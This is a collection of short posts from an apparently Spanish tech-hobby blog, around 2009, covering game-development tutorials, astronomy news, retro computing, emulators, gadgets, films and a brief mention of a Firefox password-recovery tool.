     Diseña tus propios videojuegos para Windows, Zune …

     

     Fantástico tutorial de los chicos de Informática 64 donde se explica cómo hacer juegos (2D y 3D) usando la plataforma XNA. Funciona bajo Visual Studio C# 2005/2008 Express Edition que es la gratuita, así que no tendréis problemas para seguir este tutorial.

     De momento hay 4 partes, pero habrá más, así que atentos a la web oficial:

     Parte 1

     Parte 2

     Parte 3

     Parte 4

     Página principal:

     Windows Técnico Blog de Informática 64

     Más proyecciones de video en edificos increibles

     Ya hemos hablado alguna vez en CyberHades sobre proyecciones en edificios, este es otro video para la colección.

     Planeta extrasolar rocoso confirmado

     

     En Febrero de este año ya hablamos en CyberHades sobre este descubrimiento, ahora simplemente se confirma. Se llama Corot-7b   (antes llamado Corot-Exo-7b y descubierto por la sonda/telescopio/satélite Corot) y tiene menos del doble del tamaño de la Tierra. Gira muy cerca a su estrella (más que Mercurio) así que no es probable la vida tal y como la conocemos. Lo importante reside en que es el primer planeta SÓLIDO CONFIRMADO que encontramos en otra estrella.

     Solución del Cubo de Rubik para principiantes

     

     Cuando era pequeño, recuerdo que tenía uno de estos cubos de rubik y si te digo la verdad no me acuerdo si alguna vez lo hice o no, pero lo que si me acuerdo es que sacaba las piezas del cubo y luego las ponía de forma que todas las caras tenían el mismo color. A eso se le llama solución por fuerza bruta :-) y nunca mejor dicho.

     El Experimento Marshmallow

     Es una prueba famosa realizada por Walter Mischel  de la Universidad de Stanford. Consiste en dejar a un niño sólo con un marshmallow y decirle que si no se lo come, en un rato le darán otro.

     Prepárate a reirte un rato con las reacciones de los angelitos ;)

     Visto en The Fire Wire.

     El universo detrás del World Of Warcraft

     

     En la Austin Game Developers Conference en Austin Texas le ha tocado el turno a Blizzard (la AGDC es un evento para desarrolladores de juegos) y la verdad es que es espectacular todo lo que hay detrás del WoW.

     Algunos datos:

     32 Programadores y 5,5 millones de líneas de código

     180.000 bugs (o errores de programación)

     51 Artistas

     7.650 Misiones de juego (Quests)

     2.056 Maestros de juego

     Vintage Computer Fest, fiesta retro de ordenadores

      

     No te pierdas las "maquinitas" que llevaron al Vintage Computer Fest. Es realmente espectacular, desde un NeXT, un PDP e incluso un IMSAI.

     Este video es del Vintage Fest del año pasado:

      

     Para toda la información del evento de este año:

     ArsTechnica, Vintage Computer Fest 2009 1/4

     ArsTechnica, Vintage Computer Fest 2009 2/4

     ArsTechnica, Vintage Computer Fest 2009 3/4

     ArsTechnica, Vintage Computer Fest 2009 4/4

     Cómo ver la descripción de equipos en una red bajo …

     Los que a diario gestionamos redes y tenemos que hacerlo bajo Windows Vista o Windows 7, probablemente nos hayamos encontrado con el inconveniente de no ver la descripción de los equipos de la red y tener que recurir a ejecutar en la consola de comandos “net view” para ello.

     Con este sencillo truco, conseguiremos ver la red como en Windows XP:

     En un equipo bajo Windows XP de la red, vamos a:

     Hacia Git 1.0

     Aquí os dejo este vídeo dónde se puede apreciar de forma gráfica la evolución de Git hasta la su versión 1.0.

     JSNES

     

     JSNES es un emulador de NES escrito en JavaScript. Es impresionante el potencial de este lenguaje. En mi Firefox el emulador se medio muere y a penas pasa de los 10 fps, pero parece ser que en Chrome corre bastante bien. Ahora mismo dispongo de Chrome, as’i que si alguien lo tiene instalado y quiere dejar un comentario de como corre el emulador, se agradecerá. O si alguien lo quiere probar con Opera, Safari y compañía, pues más de lo mismo.

     Sofá con PC integrado

     

     Con esto ya casi no tendrás que levantarte más del sofá. Lleva un multimedia PC con altavoces y lleva hasta una dock para el iPod.

     Barato es, sólo 15.000 dólares ;) y puedes ver la web oficial en Artanova.

     Visto en OhGizmo!

     Noop

     

     Según parece Google anunció en la JVM Language Summit, que se celebró ayer en California, un nuevo lenguaje de programación que corre dentro de una máquina virtual de Java, llamado Noop. Según se puede leer en la página oficial, Noop, ofrece inyección de dependencias en el propio lenguaje, facilitará la comprobación de nuestro código, etc. Podrás generar código Java a partir de tu programa escrito en Noop, ejecutarlo en un intérprete o generar directamente un fichero binario con bytecode de Java.

     Repositorio de juegos para Ubuntu

     

     Todos sabemos que una de las grandes debilidades de los sistemas Linux es la carencia de juegos y ésta, sea a su vez una de las principales causas de la adopción de Linux como sistema de escritorio. Pero para aquellos que les guste distraerse un ratillo delante del ordenador con algún juego, existe un repositorio de juegos para Ubuntu llamado PlayDeb, que pone a tu disposición gran cantidad de juegos a golpe de ratón.

     Animales con sables láser (frikada del día)

     

     Incluso hay una página dedicada íntegramente a esto:

     Animalswithlightsabers.com

     Alguno tiene su gracia … ;)

     Jedi Bird

     

     Visto en Geekologie.

     ¿Cómo sonaría la música en otros mundos?

     

     Todos sabemos que és el sonido, y seguro que alguna vez te has preguntado cómo sonaría tocar una canción en la superficie de Marte, por ejemplo. En este caso el sonido viajaría con una dificultad tremenda, por lo tanto casi no oirías nada. Sería un tono grave, igual que cuando respiras helio, pero en vez de sonar agudo sonaría más grave. Claro está, siempre que puedas respirar dióxido de carbono.

     Ciudad en el desierto inspirada en Dune

     

     El arquitecto Andrew Kudless propone esta ciudad inspirada en las construcciones de los Fremen de la novela de Frank Herbert, Dune. Piensa que es posible aplicar los principios de conservación y almacenamiento de agua usados en el planeta Arrakis.

     La ciudad consiste en cavernas creadas por el hombre debajo del desierto. Con aberturas en el suelo del desierto, el agua entrará al interior de canales subterráneos, creando la reserva de agua para la ciudad.

     Robots resolviendo el cubo de Rubik

     Utiliza dos ganchos con dos servos y un PC es el que calcula los movimientos adecuados para resolverlo. Cada instrucción se envía por USB al microcontrolador AVR ATmega16, que es el encargado de hacer los movimientos. Parece que para empezar, hay que poner los colores iniciales de forma manual.

     Este está desarrollado por el departamento de ingeniería de Berkley.  Es un cubo transparante gigante donde hay un servo para cada cara del cubo.  Desde una webcam, utilizan otro cubo para asignar las posiciones iniciales para que luego las resuelva el robot. Alucinante.

     Tony Hawk: RIDE

     

     Este es el "pequeño periférico" que acompaña al juego Tony Hawk: Ride.

     Pues sí, es lo que estais pensando: es una tabla de skate… pero para el salón. En definitiva lo que se pretende es  simular y ofrecer de manera realista la experiencia que se siente sobre una tabla. Digamos que es el hermano mayor de la wii fit. Robomodo es la desarrolladora y creen que este periférico es el más avanzado del mercado y que dará paso a toda una siguiente de periféricos para los juegos. Se están ultimando los detalles pero, al parecer, el acabado de la tabla será blanca en vez de negra.

     Fotos de las instalaciones de Facebook y Twitter

     

     

     En este blog puedes ver una recolección de fotos de las oficinas de ambas sedes.

     La NASA lanza un cohete para crear nubes

     

     Ayer día 15 de Septiembre la NASA ha lanzado un cohete para crear nubes de forma artificial. No es exactamente para controlar el clima, pero se acerca bastante. Se llama Charged Aerosol Release Experiment (CARE) y creará nubes artificiales en las capas más altas de la atmósfera.

     La idea es crear nubes alrededor del cohete es un esfuerzo  para simular la formación de nubes altas en la atmósfera. Estas nubes tipo "noctilucent" (noctilucentes) están formadas por cristales de hielo y están normalmente a 80 kilómetros de altura.

     Ajedrez Lego Star Wars

     

     Impresionante.

     Aquí tienes el enlace al Flickr con más imágenes.

     Mod extremo: el friki de Frankenstein.

     

     Creía haberlo visto todo en modding pero estaba equivocado. El “Steampunk Frankestein” NO pertenece a un retrocomputer, es un equipo moderno (Intel Core 2 Duo E6600) montado sobre, lo que podríamos llamar, un decorado de ciencia ficción basado en alguna película retro de Frankenstein. Me quito el sobrero ante el derroche de imaginación de este hombre. Todas son piezas antiguas y apenas hay plásticos. Como lo hizo paso a paso en: bit-tech.net.

     TorProxy y Shadow

     

     En muy pocas palabras, Tor es una red que te permite la navegación anónima por Internet. En la universidad de Cambridge, Connel Gauld, has escrito 2 aplicaciones (en lo que respecta a esta entrada) para Android. La primera llamada TorProxy que hace uso de la red Tor a través de OnionCoffe (cliente para usar la red Tor escrito en Java). Y la segunda llamada Shadow, que no es más que un navegador que usa TorProxy para navegar de forma anónima por la red desde nuestro dispositivo móvil.

     Ganador del Mario controlado por IA

     

     El ganador de ambas pruebas en la competición del Mario controlado por Inteligencia Artificial, del que ya nos habló nuestro compañero Cybercaronte, ha publicado el código fuente con el que participó, así como algunos vídeos de dicho código corriendo.

     Aquí podéis ver la entrada del autor.

     SecurityTubeCon

     

     SecurityTube.net, sitio que alberga vídeos sobre seguridad, va a llevar a cabo la primera conferencia sobre seguridad totalmente online y gratis. La SecurityTubeCon, tendrá lugar los días 6, 7 y 8 de Noviembre.

     ¿Cómo funciona todo esto?

     1.- Si quieres dar una conferencia, debes enviar los detalles de la misma a la organización. 2.- La organización publicará lista de conferenciantes y sus charlas. 3.- Los asistentes deberás registrarse a las charlas que les interesen. Y llegado el momento recibirán una invitación a la charla. 4.- Los asistentes podrán realizar preguntas a través de IRC.

     Pyme valenciana firma con multinacional HSG.

     

     La multinacional china de telecomunicaciones Huanyu Sunshine Group (HSG) y la pyme valenciana Sai Wireless han firmado un acuerdo para incorporar a un prototipo determinado un dispositivo de teleasistencia ideado por la firma valenciana en colaboración con varios institutos tecnológicos. Se trata básicamente de un mecanismo de aviso que la firma española ha rediseñado funcional y ergonómicamente y que una vez incluido en el móvil tendrá un doble uso: comunicación telefónica convencional y alerta a distancia del usuario.

     5 cosas a saber sobre Tron Legacy

     

     Impacientes estamos todos por ver la secuela de Tron, y ya empezamos a saber un poco más sobre el film que lo hace aún más interesante:

     1. Jeff Bridges volverá a ser joven: usando las mismas técnicas que rejuvenecieron a Bradd Pitt en "El extraño caso de Benjamin Button", tendremos a Kevin Flynn tal y como lo vimos en la película original. Además saldrá bastante, y que tal y como comenta el productor Sean  Bailey, tendrá un papel importante en la película.
     2. También habrá un Jeff Bridges más viejo: que no han querido comentar quién es este Bridges más anciano. Sólo sabemos que será un nuevo "Big Lebowski", fácil de deducir si todos conocéis la forma de ser que Flynn.
     3. El mundo de Tron es una burbuja en Internet: una vez derrotado el Control Central en el Tron original, el mundo digital continuó evolucionando de forma independiente una década antes de que lo hiciera Internet. ¿Pero tendrán algo que ver en la película? ... sólo sabemos que el nuevo universo de Tron será como una isla dentro de Internet.
     4. Vehículos de luz 4x4 y nuevos modelos: conocemos las famosas motos de luz, pues ahora hablan también de nuevos vehículos tanto de dos como de cuatro ruedas. Pero tranquilos, el diseño será el mismo que el original no habrá demasiados cambios.
     5. Hasta el título ha evolucionado: inicialmente la película se llamaba TR2N, hasta que evolucionó hasta Tron Legacy.

     La película llegará a los cines en diciembre del 2010.

     Solucionar el “problema” de las pantallas glossy.

     Video explicativo paso-a-paso sobre como aplicar la lámina

     Hasta ahora no me he encontrado con nadie que le gustara una pantalla glossy, pero “…si te viene con el portatil que se le va ha hacer…"

     La empresa RadTech fabrica la “solución”. Se denomina ClearCal Anti-Glare y elimina esos reflejos tan molestos. Su costo está entre 20 y 30 $.

     

     Eyefinity: 6 pantallas por GPU.

     

     AMD presenta lo último en tecnología multimonitor el Eyefinity. Soporta resolución HD 1080p multiplicada por 12x, lo que permite obtener combinaciones de resoluciones teóricas de 268 megapíxeles !!! (la media de las pantallas de 19" presentan calidad de imagen de 1 megapíxel), y, por supuesto, todo bajo DirectX 11.

     Para que la hazaña sea menos dolorosa (económicamente) para el usuario final, AMD está trabajando estrechamente con Samsung y otros fabricantes de monitores para que las bases y peanas permitan el acoplamiento de diferentes paneles como se muestra en la imagen.

     Artificial Paradise, Inc.

     ARTIFICIAL PARADISE,INC. from Jp Frenay on Vimeo.

     Visto en pjorge.

     Sketchpad

     Según la Wikipedia, Sketchpad fue el primer programa de dibujo por computadora. Aquí os dejo un vídeo que data ni más ni menos que de 1963. Impresionante documento gráfico, donde se muestra el uso de este programa.

     Scratch

     

     Scratch es un lenguaje de programación educativo para niños. Donde éstos pueden crear sus historias, animaciones, juegos, música y arte. Además te permite compartir tus creaciones a través de la propia web. Este lenguaje ha sido desarrollado, ni más ni menos que por la archiconocida MIT. Está disponible tanto para MacOS X, Windows y Linux.

     Galactic Warfare, MOD StarWars para Call Of Duty 4

      

     Espectacular MOD StarWars para Call Of Duty 4.

     De momento sólo para PC.

     Creado por BlackMonkeys (aquí web oficial).

     Más información en ZonaFandom.

     29 de julio, Feliz Día del Administrador.

     

     O, como también lo llaman por ahí, El Día del Aprecio al Administrador de Sistemas. Hasta el día de hoy desconocía la existencia de este día. La página oficial es ésta: sysadminday.com y más info aquí. Estamos incluidos todos aquellos que nos hayamos visto realizando alguna labor parecida a la de la foto de abajo.  ↓

     

     SI EN TU OFICINA CONOCES A ALGUIEN QUE TRABAJE EN ESTO, FELICÍTALE EL DÍA Y REINICIA EL EQUIPO ANTES DE EMPEZAR A QUEJARTE. ;-)

     El ordenador más viejo de vuelta a la vida

     

     El ordenador Harwell, conocido más tarde como WITCH (Wolverhampton Instrument for Teaching Computing from Harwel) viajará hacia el Museo Nacional de la Computación en Bletchley Park, donde se planea repararlo para ponerlo a funcionar de nuevo. Una vez sea restaurado por voluntarios de dicho museo, será el dispositivo electrónico del mundo que almacene programas de computación y será situado al lado de Colossus Mk II, el ordenador electrónico más antiguo del mundo.

     Super Mario Pepsi

     Hecho con botellas varias de Pepsi y algún DrPepper también.

     Visto en Z80 RetroHard.

     Your attention please!

     Vídeo promocional de la LinuxCon 2009.

     Recuva, utilidad gratuita para recuperar ficheros …

     

     Imágen: 4SysOps

     Junto a FreeUndelete, son dos herramientas que deberíamos de llevar en nuestro USB. Una de las ventajas es que puedes copiar el ejecutable en el pendrive y ejecutarlo sin problemas (uno de los requisitos básicos para recuperar ficheros borrados, volcarlos a otra unidad). Tiene dos métodos de funcionamiento, uno rápido y otro más profundo que analiza más detalladamente la información recuperada pero tarda más tiempo.

     Depurador Visual para C64

     Impresionante depurador para C64.

     Como añoro mi transtape para mi Spectrum y mi ¡¡¡¡Action Replay!!!! Esto me ha tocado la fibra.

     Visto aquí

     HRP-4C: Asimo pero mejorado y... más femenino.

     Se denomina HRP-4C (Humanoid Robotics Project 4C): la mujer robot. Es la hermana del archiconocido Asimo y que con una altura de 1 m, 58 cm y 50 kilos es “pura feminidad”. Es bastante más estilizada que la tanqueta de su hermano y sus articulaciones, en especial los tobillos, rotan mejor y de forma más natural. Sin mencionar las nuevas características faciales y de comunicación que la hacen más humana que unos simples leds. Más info aquí.

     Linux Kernel 2.6.31 publicado

     

     Con una lista jugosa de modificaciones y nuevas características, puedes verlas aquí.

     Visto en Slashdot

     Visualizando La Quinta Sinfonía de Beethoven

      

     Cada color representa un instrumento, y la longitud de la línea el tiempo.

     Otra forma de ver la música.

     Visto en Neatorama.

     Los relojes más raros del mundo.

     

     Algunos ejemplos de los relojes más raros construidos

     Desgraciadamente existe muy poca información referente a estos relojes. Hay hasta concursos (al final de la página) que premian al que presente el reloj más extraño. Si alguno quiere tener un reloj “distinto” lo puede comprar en tokioflash.com

     Yo tenía uno como el de la imágen de abajo y existía otro que tenía forma de avión. Que recuerdos, snif, snif.

     "9" la nueva película de animación de Tim Burton

     “9”

     Japeto, primer monográfico Zona Cero de La Rosa de …

     

     No os perdáis el primer monográfico Zona Cero (podéis descargar el programa completo aquí) de la nueva temporada de La Rosa de los Vientos, donde el protagonista es uno de los satélites (de Saturno) más misteriosos del Sistema Solar, Japeto.

     Entre otros enigmas de la luna, se habla de la extraña cordillera de 22 kilómetros de alto y 200 metros de ancho que rodea el satélite como si fuera un muro, del extraño material negro y blanco en las dos caras, de la extraña forma de nuez de la luna, etc ... eso sin mencionar la extraña estructura que parece una torre ...

     ArQuake, jugando a Quake en el mundo real

     

     ARQuake es un experimento de Realidad Aumentada usando un sistema con GPS, un portátil y un casco con una pantalla incorporada para jugar el mítico Quake. De esta forma puedes pasear (literalmente) por el mundo real disparando a enemigos virtuales pero por lugares que existen físicamente (vamos que puedes darte contra una pared).

     No es exactamente una cámara de video y los enemigos van apareciendo, realmente ellos han digitalizado completamente  la Universidad en la que trabajan  y luego mediante posicionamiento GPS y otras técnicas, te permiten andar realmente por el Campus a la vez que van apareciendo enemigos y otros objetos.

     Nuevo McLaren mp4-12c. Primeras imágenes.

     

     Con nombre de reproductor de video (soy informático y no puedo evitarlo) aparece el nuevo McLaren con un precio de £160,000 y un V8 de 600 caballos de potencia. Casi ná.

     Más info en autoblog.

     

     Fijaos en el habitáculo de protección, es un auténtico tanque.

     El interior me recuerda al de una nave del Battlestar Galactica.

     

     Bola(s) de Dragón (Humor)

     

     Fantástico XD

     Visto en PixFans.

     Tutorial para hacer una extensión de Twitter para …

     

     En ArsTechnica nos enseñan a crear nuestra primera extensión para Chrome ,donde aprenderemos a incrustar una barra de herramientas con un cliente  de Twitter directamente en el navegador.

     Las extensiones en Chrome están creadas en HTML y Javascript, esto es una gran ventaja ya que son los lenguajes más utilizados en la web. Además para acceder a todas las funcionalidades del navegador (ventanas, pestañas, favoritos ...) , se realiza a través de una API hecha en JavaScript.

     Velcro de acero que soporta 35 toneladas por metro …

     

     Metaklett es un velcro hecho de acero creado por Josef Mair y su equipo de la Universidad Técnica de Munich. Un metro cuadrado de este nuevo velcro es capaz de soportar hasta 35 toneladas y más de 800 grados centígrados.

     Algunas aplicaciones para este nuevo invento serían ensamblaje de vehículos, en aeronáutica, edificios, etc …

     Visto en BoingBoing.

     Curar la adicción al World of Warcraft por "sólo" …

     

     Todos sabemos que el WoW es más o menos adictivo, pero pagar 14.000 dólares para curar esta adicción es entre otras muchas cosas, una tontería.

     La clínica se llama ReSTART y está en Seattle.

     El tratamiento dura 45 días.

     Increible.

     De todas formas, admito que el WoW provocará un problema a muchos jugadores que dedican demasiadas horas (13 horas diarias es bastante habitual) a este juego de rol online.

     CANON EOS 7D, primera toma de contacto

     

     Un compañero de fotografía, Froilán,  ha realizado un excelente artículo (cámara en mano) sobre la nueva y controvertida EOS 7D de Canon en la página buenafoto.com . Hace una comparativa entre varias cámaras, una de ellas la que tengo actualmente que es la EOS 50D, y he de decir que estoy completamente de acuerdo con lo que comenta en su artículo: Un APS-C de 18 megapíxeles es excesivo.

     Apple acepta el emulador de C64, pero sin BASIC

     

     Esta ha sido la primera aplicación de emulación que Apple ha aprobado para su iPhone. Este emulador de C64 viene con varios juegos y con la posiblidad de descargarte más desde la web.

     Cuesta unos 5$ en la AppStore.

      

     Se abre la veda para aplicaciones y conversiones varias.

     Visto en nuestra querida HackADay.

     (IN)Secure Magazine Nº22 disponible

     

     Ya tenemos el número 22 de esta fantástica revista gratuita en PDF sobre seguridad.

     Este es el índice:

     <li><strong>Using real-time events to drive your network scans</strong></li>
     <li><strong>The Nmap project: Open source with style</strong></li>
     <li><strong>A look at geolocation, URL shortening and top Twitter threats</strong></li>
     <li><strong>Review: Data Locker</strong></li>
     <li><strong>Making clouds secure</strong></li>
     <li><strong>Top 5 myths about wireless protection</strong></li>
     <li><strong>Securing the foundation of IT systems</strong></li>
     <li><strong>Is your data recovery provider a data security problem?</strong></li>
     <li><strong>Security for multi-enterprise applications</strong></li>
     <li><strong>In mashups we trust?</strong></li>
     

     Puedes descargarla desde aquí.

     Video de los cereales "Pac Man" ... con sorpresa

     Este anuncio de cereales "Pac Man", aparte de ser ya de por sí bastante friki, contiene una sorpresa, el chico que aparece es nada más y nada menos que Christian Bale, o también conocido como John Connor de Terminator Salvation. 

     

     Personalmente me gusta más la actuación de él en el anuncio que en la película (vaya cagada, sino tuvimos bastante con Terminator 3, aquí esta Salvation para hundir más la franquicia ...)

     Los 11 microprocesadores más influyendes de la …

     

     Excelente repaso de PCWorld a los 11 microprocesadores más importantes con imágenes y un repaso a su historia.

     En PCWorld

     La sonda Kepler podría detectar lunas en …

     

     Foto: redorbit

     Increible, ya no sólo podemos detectar planetas extrasolares, sino que ahora la sonda Kepler podrá detectar exolunas orbitando alrededor de estos exoplanetas. El equipo de la NASA dice que la sonda es capaz de detectar lunas con 0,2 veces la masa de la Tierra. En nuestro Sistema Solar estamos empezando a ver que pueden existir lunas habitables, ¿cuantas exolunas habrá en el Espacio que podrían ser habitables?.

     Quinta temporada de Lost, Dharma Initation Kit

     

     Espectacular edición coleccionista de la quinta temporada de Lost (Perdidos). Cuesta unos 78$ y lleva entre otras cosas, una cinta VHS, los DVD llevan una funda que son discos de 5 1/4, mapas y mucho más. Puedes reservarlo en Amazon y estará a la venta a partir del 8 de Diciembre.

     Visto en The Fire Wire.

     Buscadores de iconos

     

     ¿Cuántas veces has necesitado un icono y te ha llevado un buen rato en encontrar algo que te guste? Aquí te dejo una lista de concretamente 6 buscadores de iconos.

     1.- Iconfinder 2.- IconLet 3.- IconLook 4.- VeryIcon 5.- IconSeeker 6.- Icons-Search

     Fuente original.

     Wallpapers de circuitos electrónicos

     

      

     Varios Wallpapers de fotografías tomadas con macro de circuitos y microinterruptores a nivel microscópico.

     Perfecto para nuestro escritorio geek.

     Visto en LifeHacker, donde podrás descargar las imágenes a tamaño completo.

     Arte religioso Star Wars

     

     Frikada de la semana ... ;) vaya grima da Yoda XD

     

     Pues tenéis más aquí, no os los perdáis.

     Visto en Neatorama

     Cortos y demos de la Assembly 2009

      

     Este video quedó en segundo lugar en la competición de cortos que ahora tiene la mítica competición de la demoescene, Assembly 2009.

     Vaya trabajo espectacular y paciente.

     Por otro lado, no os perdáis las demos de cada apartado de la competición.

     Puedes ver todos los videos en GameSetWatch.

     Y para ir abriendo boca, la demo de abajo es una de las del apartado de 4kb, aparte de ser espectacular puedes también descargar el código fuente aquí.

     Mashups de la compra de Marvel por parte de Disney

     

     Inevitable en esta nuestra querida Internet, que en cuanto se supo que Disney compraba Marvel (por 4.000 millones de dólares), apareciera un GoofyThor o un SpiderMickey. Aquí os paso un enlace con una selección de los más divertidos:

     The Fire Wire: Disney & Marvel Mashups

     Mi favorito:

     

     El nacimiento de Internet

     Hace varios días que se publicó esta entrada en BoingBoing, concretamente el 2 de Septiembre. Cuyo tema era el 40 cumpleaños de Internet. Cuando vi el vídeo, me resultó tremendamente valioso, así que me decidí de escribir sobre el mismo, pero viendo la duración del mismo y la importancia me decidí de traducir dicho vídeo para aquellos que no sepan inglés. Mi inglés no es nada del otro mundo, pero suficiente como poder traducir lo que se habla en este vídeo. Pensé en, bajar el vídeo y subtitularlo, pero no tengo tanto tiempo :-).

     Assassin's Creed 2 trailer, espectacular y …

      

     Espectacular trailer de esta nueva entrega de Assassin's Creed, tanto en los gráficos y en la música, aunque lo que más te llamará la atención es la increible y detallada violencia en los combates.

     Visto en Joystiq

     Construye tu propia estación/emisora de TV …

     

     Aprovechando el apagón analógico, la Federal Communications Commision (FCC) ha abandonado el viejo formato analógico y eso podemos aprovecharlo ahora nosotros para emitir en los canales que ya no se utilizan para la televisión. La FCC es para Estados Unidos pero la mayoría de canales que ahora están liberados serán los mismos en España (echa un vistazo aquí) cuando se produzca el apagón. Para emitir una señal de TV necesitamos un transmisor, que podemos comprarlo por ebay o construir uno nosotros (aquí tienes una pequeña guía).

     Las 10 frases más usadas por los programadores

     1.- WTF! (Que co…!)

     

     2.- It works my machine (En mi máquina funciona).

     3.- D´oh! (ooohh!).

     

     4.- It will be ready tomorrow (Estará listo mañana)

     5.- Have you tried turning it off and on again? (¿Has intentado apagarlo y encenderlo de nuevo?

     6.- Why? (¿Por qué?)

     7.- It is not a bug, it´s a feature (No es un error, es una característica).

     

     8.- That code is crap (Ese código es una mierda).

     Diagramas de flujo para reparar ordenadores

     

     Realmente es un libro (aqui puedes comprarlo en Amazon) pero podemos ver algunos de los diagramas en la misma web del autor, aquí. Estos diagramas de flujo son muy útiles a la hora de encontrar el problema por ejemplo en la fuente de alimentación, en la red, etc ...

     Puedes bajarte un libro gratuito con ocho de los diagramas de flujo en PDF que el autor nos ofrece, aquí.

     SimuSphere HD, la madre de los simuladores.

     

     El SimuSphere HD se compone de un sistema integrado por 120 ordenadores Intel Core Duo con sus 120 tarjetas gráficas y un conjunto de dieciocho proyectores para iluminar un campo de visión que puede ir desde 180º hasta 360º con calidad HDTV.

     Todo el sistema es compatible con los sistemas de visión nocturna (NVG) y con el HMCS, el sistema integrado en el casco para adquisición y designación de blancos, y con la posibilidad de reproducir simultáneamente más de 10.000 elementos con todo lujo de detalles, explosiones, etc.. sencillamente impresionante.

     Herramienta para recuperar contraseñas almacenadas …

     

     Imágen: LifeHacker

     Cuando nuestro navegador pregunta "¿Quieres que X recuerde esta contraseña?", puede ser una buena opción tanto para no tener que teclear la contraseña como para poder recuperarla en caso de olvidarla. Usando esta aplicación llamada firemaster podrás recuperar todas las claves almacenadas en nuestro navegador Firefox. En concreto puedes "recuperar" la contraseña llamada "master password" con la cual proteges todas las contraseñas almacenadas. Pues si pierdes o te olvidas de esta clave, aquí tienes firemaster para recuperarla.

     symbolics.com ha sido vendido

     

     Y ustedes os preguntaréis que tiene de especial ese dominio. Pues lo que tiene de especial es que es el primer dominio que se registró en Internet. Concretamente este dominio fue registrado un 15 de Marzo de 1985 y como nota curiosa, su dueño pagó el coste del mismo para retenerlo por 25 años. Para los curiosos aquí (whois) podéis ver más información sobre el registro. Y aquí os dejo la lista de los primeros 25 dominios registrados:

     Alternativas a Objetive C para iPhone

     

     Si posees un iPhone y eres programador, este artículo te puede interesar, especialmente si tienes experiencia en algún lenguaje de programación como Java, C++, Python, etc. El autor del post al que hago referencia a agrupado un conjunto de enlaces donde tratan la programación del iPhone en distintos lenguajes, concretamente 14. Aquí os dejo la lista:

     1. Alternative ways to develop for iPhone, iPod Touch
     2. How to Install, Compile, Run Java Apps on iPhone
     3. Haxe for the iPhone
     4. iPhone App Development With Python
     5. iPhone Development with C++
     6. Build iPhone Apps and Run Unity on your Windows Vista- Enter the OS86 Project
     7. Create iPhone Apps with No Programming
     8. OpenLazlo iPhone Development
     9. C++ Development on iPhone Part 1,1a revised, Part 2, Part 3
     10. Desarrollo en Mono y  C#iPhone Getting Started with UnityRemote Unity iPhone Publishing
     11. iPhone Application Development with Java
     12. Unity3d.diamondtearz.org
     13. Getting Started With Quick Connect- Desarrollo en Javascript para iPhone
     14. iPhone Development w/ Ruby on Rails

     UML mediante textos y frases

     Leo en astracanada un interesante artículo sobre la generación de diagramas UML a través de textos y frases. En el artículo comentan sobre 2 herramientas distintas, yUML que hace uso de la notación TextUML para la generación de dichos diagramas y diagrammr que genera los diagramas mediante la interpretación de frases.

     Ejemplo en yUML: [Cliente]+1->[Pedido], [Pedido]-[note: No huelo mal :) {bg:cornsilk}]“/> [Pedido]++1-items >[Item]

     

     Ejemplo en diagrammr: Sin duda alguna, un par de herramientas un tanto curiosas y creo que muy buenas desde al punto de vista didáctico, para introducir la generación de diagramas UML a principiantes.

     Conectando un Furby a Internet

      

     Lo primero es pensar ¿para qué?, pues tiene su interés. Por ejemplo puedes hacer algo parecido al conejo Nabaztag pero más geek (y puede que más barato). Podría avisarte de correos recibidos, lector de RSS, etc ... todo un universo se abre cuando puedes controlar el sintetizador de voz que lleva incorporado, los movimientos, etc ... conectado a Internet.

     El creador de este proyecto le asigna una dirección IP al Furby (... qué raro ha sonado esto...) usando un Arduino con una interface que convierte datos de ethernet a puerto serie.

     68 lugares Sci-Fi que tienes que visitar en EE.UU

      

     Si tienes previsto un viaje por los Estados Unidos (o estás allí), no puedes perderte visitar alguno de estos 68 lugares que todo fan de la Ciencia Ficción tendría que visitar. Desde la casa que hacía de cuartel general a los "Los Cazafantamas", la casa de Marti en "Regreso al Futuro", la casa de Eliot en "E.T.", ó varios de los edificios de la mítica "Blade Runner", son sólo algunos de los lugares indicados en el mapa con sus respectivas direcciones completas.

     Emulando un Altair 8080 (también llamado IMSAI …

     

     Linux

     A lo mejor no te suena este modelo de ordenador, pero si te acuerdas de la película "Juegos de Guerra (WarGames)", este es el ordenador que usaba David para jugar las partidas con la WOPR (hemos hablado de él aquí en CyberHades).

     

     Pues en la fantástica web TechTinkering (imprescindible para retrogeeks) nos explican paso a paso la instalación de un emulador totalmente operativo usando el Z80Pack para Linux. Este IMSAI usaba el sistema operativo CP/M y llevaba un Intel 8080. Además nos ofrecen enlaces donde descargar toda la documentación sobre este ordenador.

     El primer servidor Web y la primera página Web de …

     

     Creada en el CERN por Tim Berners-Lee, el primer ordenador usado para funcionar como servidor Web fue un NeXT Computer y la primera web fue:

     Copia de la primera web de la Historia: The World Wide Web

     Más sobre el primer servidor:

     El primer servidor Web de la Historia (enlace del CERN)

      

     Mario Kart: la película (trailer)

     Visto en Mashable.

     Artículos de Linux Magazine, en PDF y gratuitos

     

     Desde este enlace de la revista Linux Magazine puedes descargarte números anteriores completos en formato PDF sin ningún coste. Además, cómo hemos visto en Barrapunto, en Edición Comunidad puedes encontrar incluso artículos antes de publicarse en la revista.

     Fantástico, desde aquí agradecemos a la revista Linux Magazine este magnífico gesto.

     Fuente Barrapunto.

      

     Introducción a la emulación (I y II) por Santiago …

     

     He encontrado en la web Speccy esta introducción a la creación de emuladores (en castellano) hecha por Santiago Romero en 2003. Es una visión general y una iniciación a la forma de crear emuladores y su funcionamiento. Habla de varias plataformas pero se centra en el ZX Spectrum (la parte II está exclusivamente centrada en la emulación del Spectrum).

     Me ha parecido interesante y muy ilustrativo para comprender el funcionamiento básico de los emuladores existentes, tanto de ordenadores como de máquinas recreativas.

     Cómo construir un robot que busca fuentes de luz

     Tiny Braitenberg Vehicle from tinkerlog on Vimeo.

     

     Desde HackADay hemos visto esta entrada donde se explica cómo hacer pequeños robots que siguen una fuente de luz. En la web del proyecto podrás encontrar la lista de componentes (es bastante pequeña), documentación y el código fuente del software.

     Web del Tiny Braitenberg

     IBM fotografía de cerca una única molécula, átomo …

     

     Científicos de IBM en Zurich han tomado la mejor imágen en alta resolución de una molécula individual hasta ahora. Han podido atravesar la nube de electrones para poder ver de cerca la columna vertebral de una molécula por primera vez. Este gran avance es vital para poder construir en el futuro bloques electrónicos a escala atómica y desarrollar nanomáquinas así como estructuras microscópicas.

     Por cierto, es una molécula de Pentaceno.

     Jónsi & Alex, Riceboy Sleeps

      

